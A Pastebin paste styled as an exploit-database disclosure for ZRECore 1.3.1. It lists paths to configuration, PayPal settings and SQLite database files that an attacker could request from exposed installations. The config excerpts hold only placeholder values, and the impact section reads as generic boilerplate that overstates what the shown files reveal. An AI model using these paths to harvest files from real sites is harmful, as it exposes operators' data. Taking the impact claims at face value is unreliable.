API tools faq
paste
KingSkrupellos

ZRECore 1.3.1 Database Config Disclosure

KingSkrupellos
Feb 13th, 2019
109
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.19 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################
  2.  
  3. # Exploit Title : ZRECore 1.3.1 Database Config Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 14/02/2019
  7. # Vendor Homepage : zend.com
  8. # Software Download Link : github.com/zrecore/ZRECore/archive/master.zip
  9. # Software Information Link : npmjs.com/package/zrecore
  10. github.com/zrecore/ZRECore
  11. # Software Version : From 1.01 to 1.3.1
  12. # Tested On : Windows and Linux
  13. # Category : WebApps
  14. # Exploit Risk : Medium
  15. # Vulnerability Type : CWE-16 [ Configuration ] ~ CWE-200 [ Information Exposure ]
  16. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  17. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  18. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  19.  
  20. ####################################################################
  21.  
  22. # Description about Software :
  23. ***************************
  24. ZRECore - The most intuitive approach to e-commerce application development.
  25.  
  26. This application provides a native Mobile and E-Commerce API to all types of PHP
  27.  
  28. applications, including Wordpress, Drupal, Joomla, and many more.
  29.  
  30. Built upon the Zend Framework MVC library, the ZRECore application provides a
  31.  
  32. stable and easily modified e-commerce API you can use directly in any PHP project.
  33.  
  34. ZRECore leverages various technologies, including Doctrine 2, Sqlite3, and jQuery
  35.  
  36. in order to provide a powerful, yet intuitive code base that any PHP programmer
  37.  
  38. can quickly understand and extend to suite their project needs.
  39.  
  40. ####################################################################
  41.  
  42. # Impact :
  43. ***********
  44. ZRECore 1.3.1 [ and other versions ] configuration file may potentially
  45.  
  46. disclose sensitive information to remote attackers.
  47.  
  48. The configuration file that ZRECore 1.3.1 stored in /application/configs/application.ini
  49.  
  50. and in different folders. HTTP requests consisting of a single character will cause the software to
  51.  
  52. disclose sensitive configuration information, including the password/database to the administrative web interface.
  53.  
  54. This file is installed, by default, with world readable and possibly world writeable permissions enabled.
  55.  
  56. This may have some potentially serious consequences as the configuration
  57.  
  58. file also stores password information in plain text.
  59.  
  60. This issue occurs because access controls on configuration files are not properly set.
  61.  
  62. An attacker can exploit this issue to retrieve potentially sensitive information.
  63.  
  64. Attackers can access config file via URL request. This may aid in further attacks.
  65.  
  66. ####################################################################
  67.  
  68. # Database Config Disclosure Exploit :
  69. ********************************
  70. /application/configs/application.ini
  71.  
  72. autoloadernamespaces.passwordHash = "PasswordHash" ;
  73.  
  74. ; Database
  75. resources.db.adapter = "PDO_SQLITE"
  76. resources.db.params.dbname = APPLICATION_PATH "/../data/sqlite/data.sq3"
  77. resources.EntityManager.connection.path = APPLICATION_PATH "/../data/sqlite/data.sq3"
  78. resources.EntityManager.modelDir = APPLICATION_PATH "/models"
  79. resources.EntityManager.proxyDir = APPLICATION_PATH "/proxies"
  80.  
  81. /application/configs/paypal.default.ini
  82.  
  83. paypal.service = "express_checkout"
  84. paypal.api_username = "your_username"
  85. paypal.api_password = "your_password"
  86. paypal.api_signature = "your_api_signature"
  87. paypal.api_version = "63.0"
  88. paypal.authorizing_account_email = "your_paypal_email@example.com"
  89.  
  90. paypal.endpoint_url = "https://api-3t.paypal.com/nvp"
  91. paypal.expresscheckout_url = "https://www.paypal.com/webscr"
  92.  
  93. paypal.api_username = "your_username"
  94. paypal.api_password = "your_password"
  95. paypal.api_signature = "your_api_signature"
  96. paypal.authorizing_account_email = "your_paypal_email@example.com"
  97.  
  98. /data/mysql/_install.sql
  99.  
  100. /data/mysql/queueTransaction.sql
  101.  
  102. /data/sqlite/_install.sql
  103.  
  104. /data/sqlite/aclPermission.sql
  105.  
  106. /data/sqlite/aclPermission.sql
  107.  
  108. /data/sqlite/aclRole.sql
  109.  
  110. /data/sqlite/category.sql
  111.  
  112. /data/sqlite/comment.sql
  113.  
  114. /data/sqlite/coupon.sql
  115.  
  116. /data/sqlite/currency.sql
  117.  
  118. /data/sqlite/data.sq3
  119.  
  120. /data/sqlite/folder.sql
  121.  
  122. /data/sqlite/item.sql
  123.  
  124. /data/sqlite/itemCoupon.sql
  125.  
  126. /data/sqlite/itemProperty.sql
  127.  
  128. /data/sqlite/merchantGateway.sql
  129.  
  130. /data/sqlite/order.sql
  131.  
  132. /data/sqlite/orderCoupon.sql
  133.  
  134. /data/sqlite/orderItem.sql
  135.  
  136. /data/sqlite/orderService.sql
  137.  
  138. /data/sqlite/orderStatusHistory.sql
  139.  
  140. /data/sqlite/orderSubscription.sql
  141.  
  142. /data/sqlite/packageLevel.sql
  143.  
  144. /data/sqlite/page.sql
  145.  
  146. /data/sqlite/post.sql
  147.  
  148. /data/sqlite/postComment.sql
  149.  
  150. /data/sqlite/property.sql
  151.  
  152. /data/sqlite/propertyType.sql
  153.  
  154. /data/sqlite/propertyValue.sql
  155.  
  156. /data/sqlite/service.sql
  157.  
  158. /data/sqlite/serviceCoupon.sql
  159.  
  160. /data/sqlite/servicePackageLevel.sql
  161.  
  162. /data/sqlite/status.sql
  163.  
  164. /data/sqlite/subscription.sql
  165.  
  166. /data/sqlite/subscriptionCoupon.sql
  167.  
  168. /data/sqlite/subscriptionPackageLevel.sql
  169.  
  170. /data/sqlite/subscriptionService.sql
  171.  
  172. /data/sqlite/user.sql
  173.  
  174. /data/sqlite/userAcl.sql
  175.  
  176. /data/sqlite/userProfile.sql
  177.  
  178. ####################################################################
  179.  
  180. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  181.  
  182. ####################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!